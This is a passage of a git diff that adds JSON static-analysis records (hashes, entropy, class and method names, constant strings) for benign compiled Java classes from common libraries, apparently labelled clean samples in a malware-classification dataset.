a/java_classification/data/clean/ebccb950a7fd635ef62d9339691e881dfc1649139fb32a1c8ce046803453b591.results b/java_classification/data/clean/ebccb950a7fd635ef62d9339691e881dfc1649139fb32a1c8ce046803453b591.results new file mode 100755 index 0000000..c6c8d60 --- /dev/null +++ b/java_classification/data/clean/ebccb950a7fd635ef62d9339691e881dfc1649139fb32a1c8ce046803453b591.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "RepositorySelector.java", "class_name": "org/apache/log4j/spi/RepositorySelector", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 46, "method_names": ["getLoggerRepository"], "minor_version": 0, "const_pool_count": 9}}, "_id": "0f069f24-7983-403d-847e-5419881418bf", "metadata": {"mimetype": "application/x-java-applet", "sha1": "c5d7eac328eecb0589590e48a2e54056da115fb1", "file_name": "java_clean/ebccb950a7fd635ef62d9339691e881dfc1649139fb32a1c8ce046803453b591", "_id": "0f069f24-7983-403d-847e-5419881418bf", "score": 0, "entropy": 4.81519020867162, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 212, "ssdeep": "6:IGBK0MPMtXC9yCf+BJ0M0uiyPlMM4b8XCfjMM4LRPiwl0:NBK0lXD0PQX4QeX4LRbl0", "sha256": "ebccb950a7fd635ef62d9339691e881dfc1649139fb32a1c8ce046803453b591", "md5": "775a7ed975b98975f41d55c5f17ba24f", "parent_sha256": "ebccb950a7fd635ef62d9339691e881dfc1649139fb32a1c8ce046803453b591"}} \ No newline at end of file diff --git a/java_classification/data/clean/ec5b29ed447d00c203ba7cc081bc2ab5319ecffd1a120b3b594a619733e7a5c5.results b/java_classification/data/clean/ec5b29ed447d00c203ba7cc081bc2ab5319ecffd1a120b3b594a619733e7a5c5.results new file mode 100755 index 0000000..e130dae --- /dev/null +++ b/java_classification/data/clean/ec5b29ed447d00c203ba7cc081bc2ab5319ecffd1a120b3b594a619733e7a5c5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Synchronized.java", "class_name": "com/google/common/collect/Synchronized$1", "access_permissions": ["ACC_SUPER", "ACC_SYNTHETIC"], "major_version": 49, "minor_version": 0, "const_pool_count": 12}}, "_id": "f484cdf1-c612-4265-9cd9-6eb0ffe131b8", "metadata": {"mimetype": "application/x-java-applet", "sha1": "f9ff31f76639e6695e47bd526f8dd6a7f37301a7", "file_name": "java_clean/ec5b29ed447d00c203ba7cc081bc2ab5319ecffd1a120b3b594a619733e7a5c5", "_id": "f484cdf1-c612-4265-9cd9-6eb0ffe131b8", "score": 0, "entropy": 4.810187917769502, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 239, "ssdeep": "6:r8073iIUyiURgg76aaLYBRPyIg76aaVlOkot:Z7SPyiUF/PBRE/mw", "sha256": "ec5b29ed447d00c203ba7cc081bc2ab5319ecffd1a120b3b594a619733e7a5c5", "md5": "0579d5d005a611c0d6ecc288892c302c", "parent_sha256": "ec5b29ed447d00c203ba7cc081bc2ab5319ecffd1a120b3b594a619733e7a5c5"}} \ No newline at end of file diff --git a/java_classification/data/clean/ecd060e2cec5953186a042da5ceccbce61a7f01b9648a90bdfc7ac3273229e4d.results b/java_classification/data/clean/ecd060e2cec5953186a042da5ceccbce61a7f01b9648a90bdfc7ac3273229e4d.results new file mode 100755 index 0000000..1840bf6 --- /dev/null +++ b/java_classification/data/clean/ecd060e2cec5953186a042da5ceccbce61a7f01b9648a90bdfc7ac3273229e4d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SliderJavaScriptResourceReference.java", "class_name": "org/odlabs/wiquery/ui/slider/SliderJavaScriptResourceReference", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "get", ""], "minor_version": 0, "const_pool_count": 32}}, "_id": "6ceaa2e6-533c-4463-8a3f-3a7f719db827", "verbose": {"java": {"constant strings": ["jquery.ui.slider.js"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "571242462c818dcfdafe10179e504d5899bb8e8a", "file_name": "java_clean/ecd060e2cec5953186a042da5ceccbce61a7f01b9648a90bdfc7ac3273229e4d", "_id": "6ceaa2e6-533c-4463-8a3f-3a7f719db827", "score": 0, "entropy": 5.183325583554497, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 787, "ssdeep": "24:PGLG2N1wyQuljC1Nc01I2vu3ySYV04Iy6:iG2kyFlobu/YV04Iy6", "sha256": "ecd060e2cec5953186a042da5ceccbce61a7f01b9648a90bdfc7ac3273229e4d", "md5": "ecba2743dba7622a639098065a42f169", "parent_sha256": "ecd060e2cec5953186a042da5ceccbce61a7f01b9648a90bdfc7ac3273229e4d"}} \ No newline at end of file diff --git a/java_classification/data/clean/ecda47cfab8ee1ff8cd278cc709136c3f88fb07b514dd0ad5106312dfc1a2f70.results b/java_classification/data/clean/ecda47cfab8ee1ff8cd278cc709136c3f88fb07b514dd0ad5106312dfc1a2f70.results new file mode 100755 index 0000000..46432b4 --- /dev/null +++ b/java_classification/data/clean/ecda47cfab8ee1ff8cd278cc709136c3f88fb07b514dd0ad5106312dfc1a2f70.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SslListener.java", "class_name": "org/mortbay/http/SslListener", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "", "setPassword", "setKeyPassword", "getAlgorithm", "setAlgorithm", "getProtocol", "setProtocol", "setKeystore", "getKeystore", "getKeystoreType", "setKeystoreType", "setNeedClientAuth", "getNeedClientAuth", "isIntegral", "isConfidential", "createFactory", "newServerSocket", "accept", "customizeRequest", "getCertChain", "class$", ""], "minor_version": 0, "const_pool_count": 459}}, "_id": "e5a13b58-ddd6-4b19-be37-94b426aef553", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.799785715867875, "obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["TLS", "SunX509", "JKS", "https", "jetty.ssl.password", "jetty.ssl.keypassword", "SslListener.needClientAuth=", "EXCEPTION ", "Could not create JsseListener: ", "javax.servlet.request.X509Certificate", "javax.servlet.request.cipher_suite", "javax.servlet.request.key_size", "X.509", "org.mortbay.http.SslListener", "user.home", ".keystore", "org.mortbay.http.SslListener$CachedInfo"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3fec32f7de4f765f9a2a901b9ee07c5f5480acd0", "file_name": "java_clean/ecda47cfab8ee1ff8cd278cc709136c3f88fb07b514dd0ad5106312dfc1a2f70", "_id": "e5a13b58-ddd6-4b19-be37-94b426aef553", "score": 0, "entropy": 5.736760010317755, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 10131, "ssdeep": "96:BTMvUF+X/rFleyGexOzhF7cKEBelHOXf4LEHJt8LG98qgdI/B0XbTWSY9O5yg8YS:BTu5lxbUvDHOX5MMSIJ0XbTWmOtECQPi", "sha256": "ecda47cfab8ee1ff8cd278cc709136c3f88fb07b514dd0ad5106312dfc1a2f70", "md5": "7b12e0c4f5d8b96e2084efa99bdbdf31", "parent_sha256": "ecda47cfab8ee1ff8cd278cc709136c3f88fb07b514dd0ad5106312dfc1a2f70"}} \ No newline at end of file diff --git a/java_classification/data/clean/ed962b2de2fbad383209acc388c17c919dcc5308e8349f3d962f78b1aa23625b.results b/java_classification/data/clean/ed962b2de2fbad383209acc388c17c919dcc5308e8349f3d962f78b1aa23625b.results new file mode 100755 index 0000000..e300d9f --- /dev/null +++ b/java_classification/data/clean/ed962b2de2fbad383209acc388c17c919dcc5308e8349f3d962f78b1aa23625b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "com/sun/naming/internal/VersionHelper12$6", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/security/PrivilegedAction"], "sourcefile": "VersionHelper12.java", "method_names": ["", "run"], "minor_version": 3, "const_pool_count": 29}}, "_id": "8f49a81a-82fc-42de-a88d-c91311044d4b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "478e667f27fa394b5b49261883bb9adbce8fd08c", "file_name": "java_clean/ed962b2de2fbad383209acc388c17c919dcc5308e8349f3d962f78b1aa23625b", "_id": "8f49a81a-82fc-42de-a88d-c91311044d4b", "score": 0, "entropy": 5.0929214968928225, "libmagic": "compiled Java class data, version 45.3", "file_size": 524, "ssdeep": "12:cBuP6CyQy1tNdlw7r8IXldGQq9RF+xszFloClSLsPJ3:cBCZy1fdlw7rHXldGL9zCsFSYP5", "sha256": "ed962b2de2fbad383209acc388c17c919dcc5308e8349f3d962f78b1aa23625b", "md5": "dabf4a34ad5d64c8571ac32dfdc3a6a0", "parent_sha256": "ed962b2de2fbad383209acc388c17c919dcc5308e8349f3d962f78b1aa23625b"}} \ No newline at end of file diff --git a/java_classification/data/clean/ede213b62dba601b293e7e3a74744f8aa457653d33af21e7c8d37b589c54f007.results b/java_classification/data/clean/ede213b62dba601b293e7e3a74744f8aa457653d33af21e7c8d37b589c54f007.results new file mode 100755 index 0000000..0b1ad98 --- /dev/null +++ b/java_classification/data/clean/ede213b62dba601b293e7e3a74744f8aa457653d33af21e7c8d37b589c54f007.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ExtendedProperties.java", "class_name": "org/apache/commons/collections/ExtendedProperties", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["interpolate", "interpolateHelper", "escape", "unescape", "countPreceding", "endsWithSlash", "", "", "", "isInitialized", "getInclude", "setInclude", "load", "load", "getProperty", "addProperty", "addPropertyDirect", "addPropertyInternal", "setProperty", "save", "combine", "clearProperty", "getKeys", "getKeys", "subset", "display", "getString", "getString", "getProperties", "getProperties", "getStringArray", "getVector", "getVector", "getBoolean", "getBoolean", "getBoolean", "testBoolean", "getByte", "getByte", "getByte", "getShort", "getShort", "getShort", "getInt", "getInt", "getInteger", "getInteger", "getInteger", "getLong", "getLong", "getLong", "getFloat", "getFloat", "getFloat", "getDouble", "getDouble", "getDouble", "convertProperties", "access$000", ""], "minor_version": 3, "const_pool_count": 672}}, "_id": "ab8bc788-862c-4ebb-92c6-21f9795dd429", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.315440171495142, "obfuscated_data": {"signatures": {"file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "true"}}}, "constant strings": ["}", "${", "->", "infinite loop in property interpolation of ", ": ", "\\\\", "file.separator", "8859_1", "", ".", ",", "=", " => ", "\\' doesn\\'t map to a String object", "\\' does not contain ", "an equals sign", "\\' doesn\\'t map to a String/Vector object", "\\' doesn\\'t map to a Vector object", "\\' doesn\\'t map to an existing object", "\\' doesn\\'t map to a Boolean object", "true", "on", "yes", "false", "off", "no", " doesn\\'t map to an existing object", "\\' doesn\\'t map to a Byte object", "\\' doesn\\'t map to a Short object", "\\' doesn\\'t map to a Integer object", "\\' doesn\\'t map to a Long object", "\\' doesn\\'t map to a Float object", "\\' doesn\\'t map to a Double object", "include"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d64f02d652cd1f41076d63b468f62dea0fa861a7", "file_name": "java_clean/ede213b62dba601b293e7e3a74744f8aa457653d33af21e7c8d37b589c54f007", "_id": "ab8bc788-862c-4ebb-92c6-21f9795dd429", "score": 0, "entropy": 5.800661339659836, "libmagic": "compiled Java class data, version 45.3", "file_size": 18698, "ssdeep": "384:H82EdCnk37m7Znhxp1urvPAv1G8qgvR0j1Wx:Hioki7ZhxvuzD8r0jm", "sha256": "ede213b62dba601b293e7e3a74744f8aa457653d33af21e7c8d37b589c54f007", "md5": "a0877fabcb4472c5b15bfedda5e49dcd", "parent_sha256": "ede213b62dba601b293e7e3a74744f8aa457653d33af21e7c8d37b589c54f007"}} \ No newline at end of file diff --git a/java_classification/data/clean/edf5b6a847e7d12e1090f299363258df371e77a8b66101538a1a747a040556a8.results b/java_classification/data/clean/edf5b6a847e7d12e1090f299363258df371e77a8b66101538a1a747a040556a8.results new file mode 100755 index 0000000..ad6318c --- /dev/null +++ b/java_classification/data/clean/edf5b6a847e7d12e1090f299363258df371e77a8b66101538a1a747a040556a8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "AppletServer.java", "class_name": "javassist/tools/rmi/ExportedObject", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": [""], "minor_version": 0, "const_pool_count": 22}}, "_id": "fd78f8c3-01f4-4eb9-83e0-fc1a33f30b67", "metadata": {"mimetype": "application/x-java-applet", "sha1": "4fffa11334254c8dcd7204cdbebcc86503caef56", "file_name": "java_clean/edf5b6a847e7d12e1090f299363258df371e77a8b66101538a1a747a040556a8", "_id": "fd78f8c3-01f4-4eb9-83e0-fc1a33f30b67", "score": 0, "entropy": 4.970168486179974, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 416, "ssdeep": "6:K55YEaPQNKSkrK7NszswQpAEgPsoq5giRKR+n0YzNRKR+H3RPP3kJb+lo78+/ZWU:EKtsSDQulPsoXiw76wOR332b+SF1el0", "sha256": "edf5b6a847e7d12e1090f299363258df371e77a8b66101538a1a747a040556a8", "md5": "b56531fab763baf4ef76ec2879efc344", "parent_sha256": "edf5b6a847e7d12e1090f299363258df371e77a8b66101538a1a747a040556a8"}} \ No newline at end of file diff --git a/java_classification/data/clean/eeb7425fa06be2593e0da649c9693dfcd22b93042879dbf5c165d4448c7a044c.results b/java_classification/data/clean/eeb7425fa06be2593e0da649c9693dfcd22b93042879dbf5c165d4448c7a044c.results new file mode 100755 index 0000000..c94572d --- /dev/null +++ b/java_classification/data/clean/eeb7425fa06be2593e0da649c9693dfcd22b93042879dbf5c165d4448c7a044c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LongAvg.java", "class_name": "org/apache/pig/builtin/LongAvg$Final", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "exec", "exec"], "minor_version": 0, "const_pool_count": 104}}, "_id": "e9c02197-d826-4393-b079-20d0da9cfe44", "verbose": {"java": {"signatures": ["Lorg/apache/pig/EvalFunc;"], "constant strings": ["Error while computing average in "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d16783425e86bb442138699bf152fb32c8969126", "file_name": "java_clean/eeb7425fa06be2593e0da649c9693dfcd22b93042879dbf5c165d4448c7a044c", "_id": "e9c02197-d826-4393-b079-20d0da9cfe44", "score": 0, "entropy": 5.448161491784, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2072, "ssdeep": "48:a1gyFlti7JVDLRt0h/6CPebQg9GRtubUeQ+7JVSL5e7J8RtVmLfIyX34aC:mFlgFVDLRSNfg9GR4oP+FVSL5eF8Rncc", "sha256": "eeb7425fa06be2593e0da649c9693dfcd22b93042879dbf5c165d4448c7a044c", "md5": "7130f1e6c37fc1f5a3d38d25a506ab05", "parent_sha256": "eeb7425fa06be2593e0da649c9693dfcd22b93042879dbf5c165d4448c7a044c"}} \ No newline at end of file diff --git a/java_classification/data/clean/f12e615119463c2323d382d69b54bcb0d35ca575289cbb1131dae6b32384bc92.results b/java_classification/data/clean/f12e615119463c2323d382d69b54bcb0d35ca575289cbb1131dae6b32384bc92.results new file mode 100755 index 0000000..6189f9a --- /dev/null +++ b/java_classification/data/clean/f12e615119463c2323d382d69b54bcb0d35ca575289cbb1131dae6b32384bc92.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/AbstractMultimap$WrappedCollection$WrappedIterator", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/util/Iterator"], "sourcefile": "AbstractMultimap.java", "method_names": ["", "", "validateIterator", "hasNext", "next", "remove", "getDelegateIterator"], "minor_version": 0, "const_pool_count": 88}}, "_id": "b9fdb029-5c35-4141-9890-4332401c2a09", "verbose": {"java": {"signatures": ["Ljava/util/Iterator;", "Ljava/util/Collection;", "(Ljava/util/Iterator;)V", "()TV;", "()Ljava/util/Iterator;", "Ljava/lang/Object;Ljava/util/Iterator;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5d9e0f3d904188a0b9e13565dc5acb16e8210193", "file_name": "java_clean/f12e615119463c2323d382d69b54bcb0d35ca575289cbb1131dae6b32384bc92", "_id": "b9fdb029-5c35-4141-9890-4332401c2a09", "score": 0, "entropy": 5.244461232447641, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2561, "ssdeep": "48:8h1D3e+53ErOrTwrxlyrrwPZtr+jrOHdrw1orxGRz6tyR0cvAEO2df81:q0rOrkrxlyrrwPzr+jrYdrwarxQz6gRw", "sha256": "f12e615119463c2323d382d69b54bcb0d35ca575289cbb1131dae6b32384bc92", "md5": "b445da3007defaa1db843199bbe786bb", "parent_sha256": "f12e615119463c2323d382d69b54bcb0d35ca575289cbb1131dae6b32384bc92"}} \ No newline at end of file diff --git a/java_classification/data/clean/f2fac5559828dd399ed4607c907e74dfbbd6190b862e26c0a596771d741b0a1d.results b/java_classification/data/clean/f2fac5559828dd399ed4607c907e74dfbbd6190b862e26c0a596771d741b0a1d.results new file mode 100755 index 0000000..6222cde --- /dev/null +++ b/java_classification/data/clean/f2fac5559828dd399ed4607c907e74dfbbd6190b862e26c0a596771d741b0a1d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/util/QuickSort", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "interfaces": ["org/apache/hadoop/util/IndexedSorter"], "sourcefile": "QuickSort.java", "method_names": ["", "fix", "getMaxDepth", "sort", "sort", "sortInternal", ""], "minor_version": 0, "const_pool_count": 111}}, "_id": "6aac5f3b-8365-4238-bc62-e543d5681003", "verbose": {"java": {"constant strings": ["Undefined for "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "60f63894762011845b441365297f8f6f389c141e", "file_name": "java_clean/f2fac5559828dd399ed4607c907e74dfbbd6190b862e26c0a596771d741b0a1d", "_id": "6aac5f3b-8365-4238-bc62-e543d5681003", "score": 0, "entropy": 5.587960635690084, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2771, "ssdeep": "48:amq3yFl5zbVvV/mVeisVeblGLmKMcr5V8/gv5FnuX01/Xb3RPZKnHFSMC5wv+:tqiFl5zbVvVuVeisVe+XMm5V80nuk1//", "sha256": "f2fac5559828dd399ed4607c907e74dfbbd6190b862e26c0a596771d741b0a1d", "md5": "d7d63fd39b75fa897127f1803eaa2a1b", "parent_sha256": "f2fac5559828dd399ed4607c907e74dfbbd6190b862e26c0a596771d741b0a1d"}} \ No newline at end of file diff --git a/java_classification/data/clean/f43b72a8af6b9b4468091bff55fdcb04eb638db4546ff2e805534c5e583bc5d7.results b/java_classification/data/clean/f43b72a8af6b9b4468091bff55fdcb04eb638db4546ff2e805534c5e583bc5d7.results new file mode 100755 index 0000000..76b5650 --- /dev/null +++ b/java_classification/data/clean/f43b72a8af6b9b4468091bff55fdcb04eb638db4546ff2e805534c5e583bc5d7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "POCogroup.java", "class_name": "org/apache/pig/backend/local/executionengine/physicalLayer/relationalOperators/POCogroup", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "", "", "setInner", "visit", "name", "getNext", "accumulateData", "getSmallest", "supportsMultipleInputs", "supportsMultipleOutputs", "visit"], "minor_version": 0, "const_pool_count": 260}}, "_id": "118c4dc7-8c7d-4d27-ba1c-8cac05b70fcc", "verbose": {"java": {"signatures": ["[Ljava/util/Iterator;", "(Lorg/apache/pig/impl/plan/OperatorKey;Ljava/util/List;)V", "(Lorg/apache/pig/impl/plan/OperatorKey;ILjava/util/List;)V"], "constant strings": ["POCogroup[", "]", " - ", "Error accumulating output at local Cogroup operator"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5a48ff5b0c1ef54cbb5e01e648e51a3a4189c813", "file_name": "java_clean/f43b72a8af6b9b4468091bff55fdcb04eb638db4546ff2e805534c5e583bc5d7", "_id": "118c4dc7-8c7d-4d27-ba1c-8cac05b70fcc", "score": 0, "entropy": 5.624110956106977, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 7255, "ssdeep": "192:4/Ul9lU8JeCr9vODQkYQN94/1/WSsSvOgVNG:JtUjE9GDQkd94/1+Ss9p", "sha256": "f43b72a8af6b9b4468091bff55fdcb04eb638db4546ff2e805534c5e583bc5d7", "md5": "3857713b90e3d39a6307cbbfbf75adb3", "parent_sha256": "f43b72a8af6b9b4468091bff55fdcb04eb638db4546ff2e805534c5e583bc5d7"}} \ No newline at end of file diff --git a/java_classification/data/clean/f4be60e021565c5055bc5252b42c1bea0f04208ae3a1e9c4ef48e512245f814a.results b/java_classification/data/clean/f4be60e021565c5055bc5252b42c1bea0f04208ae3a1e9c4ef48e512245f814a.results new file mode 100755 index 0000000..453be6e --- /dev/null +++ b/java_classification/data/clean/f4be60e021565c5055bc5252b42c1bea0f04208ae3a1e9c4ef48e512245f814a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "com/gcalsync/option/a", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 45, "method_names": ["", "a", "a"], "minor_version": 3, "const_pool_count": 98}}, "_id": "10fc53ea-8e97-4f6e-ac24-a0c0fb761c2b", "verbose": {"java": {"constant strings": [""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a0b49daa60ac5f2a057f34afab2df80dddd77a7e", "file_name": "java_clean/f4be60e021565c5055bc5252b42c1bea0f04208ae3a1e9c4ef48e512245f814a", "_id": "10fc53ea-8e97-4f6e-ac24-a0c0fb761c2b", "score": 0, "entropy": 5.24846052243675, "libmagic": "compiled Java class data, version 45.3", "file_size": 1431, "ssdeep": "24:cFHvgmEKlm7Ex/Ijwy1c4CbsaliNRoLyCR6/VyQTFl4dMGNqYTBsQ9EFeUnL:WKENH4SiTC4/VDlEMGNqYT+QaF7", "sha256": "f4be60e021565c5055bc5252b42c1bea0f04208ae3a1e9c4ef48e512245f814a", "md5": "097149fbd2d2f542d8d503f4e2ce7551", "parent_sha256": "f4be60e021565c5055bc5252b42c1bea0f04208ae3a1e9c4ef48e512245f814a"}} \ No newline at end of file diff --git a/java_classification/data/clean/f4d82090961fdc49cb5e743c8ea5b2870457b438ee9d93495f574b2e16d707db.results b/java_classification/data/clean/f4d82090961fdc49cb5e743c8ea5b2870457b438ee9d93495f574b2e16d707db.results new file mode 100755 index 0000000..bc34bfd --- /dev/null +++ b/java_classification/data/clean/f4d82090961fdc49cb5e743c8ea5b2870457b438ee9d93495f574b2e16d707db.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "HttpContext.java", "class_name": "org/mortbay/http/HttpContext$1", "access_permissions": ["ACC_SUPER"], "major_version": 46, "minor_version": 0, "const_pool_count": 12}}, "_id": "3a139740-e8a6-4a31-af96-97e4903d6b17", "metadata": {"mimetype": "application/x-java-applet", "sha1": "984b0a319a91e0e90dcf610b0f3f88ece195db42", "file_name": "java_clean/f4d82090961fdc49cb5e743c8ea5b2870457b438ee9d93495f574b2e16d707db", "_id": "3a139740-e8a6-4a31-af96-97e4903d6b17", "score": 0, "entropy": 4.719765433852953, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 208, "ssdeep": "3:Dbll1GBulsXRs1ti96NUN00KXCAvWazmzHnA2KRYPSQCK8PBSTKXvWazmzmlBlg6:QBq3TNUqWlnYBRPBhWMOl8k4t", "sha256": "f4d82090961fdc49cb5e743c8ea5b2870457b438ee9d93495f574b2e16d707db", "md5": "97e7285b264d039066a00749f5d26ef5", "parent_sha256": "f4d82090961fdc49cb5e743c8ea5b2870457b438ee9d93495f574b2e16d707db"}} \ No newline at end of file diff --git a/java_classification/data/clean/f5227bf3817c832f48d561ecf307acb6da52875b7d68b7cc26d3f6d5a4daba72.results b/java_classification/data/clean/f5227bf3817c832f48d561ecf307acb6da52875b7d68b7cc26d3f6d5a4daba72.results new file mode 100755 index 0000000..33545e3 --- /dev/null +++ b/java_classification/data/clean/f5227bf3817c832f48d561ecf307acb6da52875b7d68b7cc26d3f6d5a4daba72.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/utils/XElement$2", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/utils/XElement$Appender"], "sourcefile": "XElement.java", "method_names": ["", "append"], "minor_version": 0, "const_pool_count": 44}}, "_id": "98cd7d65-31eb-4d2f-bd2a-c2330db857d5", "metadata": {"mimetype": "application/x-java-applet", "sha1": "104bdd88581042566223d2e3f17d1f8bd48b868a", "file_name": "java_clean/f5227bf3817c832f48d561ecf307acb6da52875b7d68b7cc26d3f6d5a4daba72", "_id": "98cd7d65-31eb-4d2f-bd2a-c2330db857d5", "score": 0, "entropy": 5.238174123366121, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 914, "ssdeep": "24:gcZLeoXpveqB6ljpHlJtNQAkmLVkmJHlbh5p3Us:B/pXB6lZrQHCPnp", "sha256": "f5227bf3817c832f48d561ecf307acb6da52875b7d68b7cc26d3f6d5a4daba72", "md5": "38b1ed599916e7c6b7d455167a5e7dcc", "parent_sha256": "f5227bf3817c832f48d561ecf307acb6da52875b7d68b7cc26d3f6d5a4daba72"}} \ No newline at end of file diff --git a/java_classification/data/clean/f601aad5241c6a36dd9e4c0e8754cabf277ee08c0aef15395fac54a91b0075ba.results b/java_classification/data/clean/f601aad5241c6a36dd9e4c0e8754cabf277ee08c0aef15395fac54a91b0075ba.results new file mode 100755 index 0000000..f90b3ed --- /dev/null +++ b/java_classification/data/clean/f601aad5241c6a36dd9e4c0e8754cabf277ee08c0aef15395fac54a91b0075ba.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/StarmapScreen$27", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "StarmapScreen.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 43}}, "_id": "49d0c1d1-eab4-4014-b141-05b68e0e2f23", "metadata": {"mimetype": "application/x-java-applet", "sha1": "b0c644dc49c0e17649b3223ad7bb2a03560c9059", "file_name": "java_clean/f601aad5241c6a36dd9e4c0e8754cabf277ee08c0aef15395fac54a91b0075ba", "_id": "49d0c1d1-eab4-4014-b141-05b68e0e2f23", "score": 0, "entropy": 5.2550479405947605, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 850, "ssdeep": "12:PfAbRgwzIAjPAzYuZ9lPso/AKhNVLNICIAXqoBDkndzyiU87DCOO/+Orl:3AbOw8AjPAUU9lj/ATAXpVsdJ2x", "sha256": "f601aad5241c6a36dd9e4c0e8754cabf277ee08c0aef15395fac54a91b0075ba", "md5": "b81e9b80680f030c1c0fd9bad5256e5f", "parent_sha256": "f601aad5241c6a36dd9e4c0e8754cabf277ee08c0aef15395fac54a91b0075ba"}} \ No newline at end of file diff --git a/java_classification/data/clean/f67161fa5e7e5d29e5f7a292f65496388b636258dd5bf89620b46f829fc95ac5.results b/java_classification/data/clean/f67161fa5e7e5d29e5f7a292f65496388b636258dd5bf89620b46f829fc95ac5.results new file mode 100755 index 0000000..a1cfe41 --- /dev/null +++ b/java_classification/data/clean/f67161fa5e7e5d29e5f7a292f65496388b636258dd5bf89620b46f829fc95ac5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ImmutableCollection.java", "class_name": "com/google/common/collect/ImmutableCollection$1", "access_permissions": ["ACC_SUPER", "ACC_SYNTHETIC"], "major_version": 49, "minor_version": 0, "const_pool_count": 12}}, "_id": "67525800-efa4-4e8a-84d3-2280f0e923ff", "metadata": {"mimetype": "application/x-java-applet", "sha1": "50112e24c87f9921f41268f71a5c909aa9f5b73d", "file_name": "java_clean/f67161fa5e7e5d29e5f7a292f65496388b636258dd5bf89620b46f829fc95ac5", "_id": "67525800-efa4-4e8a-84d3-2280f0e923ff", "score": 0, "entropy": 4.700001974428963, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 260, "ssdeep": "6:r8nItHJAHsyiUR8YghItiHJA7xYBRPWghItiHJAeElOkot:WItHOMyiUK5OiBR/Oecw", "sha256": "f67161fa5e7e5d29e5f7a292f65496388b636258dd5bf89620b46f829fc95ac5", "md5": "52d725ac131696efb500859025d90c70", "parent_sha256": "f67161fa5e7e5d29e5f7a292f65496388b636258dd5bf89620b46f829fc95ac5"}} \ No newline at end of file diff --git a/java_classification/data/clean/f8161f134f106c2b59ef96d637efab615985bb9af6fdc983295b47c30dd398b6.results b/java_classification/data/clean/f8161f134f106c2b59ef96d637efab615985bb9af6fdc983295b47c30dd398b6.results new file mode 100755 index 0000000..1b29f9f --- /dev/null +++ b/java_classification/data/clean/f8161f134f106c2b59ef96d637efab615985bb9af6fdc983295b47c30dd398b6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/pig/backend/hadoop/executionengine/physicalLayer/relationalOperators/POSort$SortComparator", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/util/Comparator", "java/io/Serializable"], "sourcefile": "POSort.java", "method_names": ["", "compare", "getResult", "compare"], "minor_version": 0, "const_pool_count": 234}}, "_id": "17199b5d-94e9-4eea-86e2-8ad95b3ecef3", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Ljava/util/Comparator;Ljava/io/Serializable;"], "constant strings": ["Error processing the input in the expression plan : 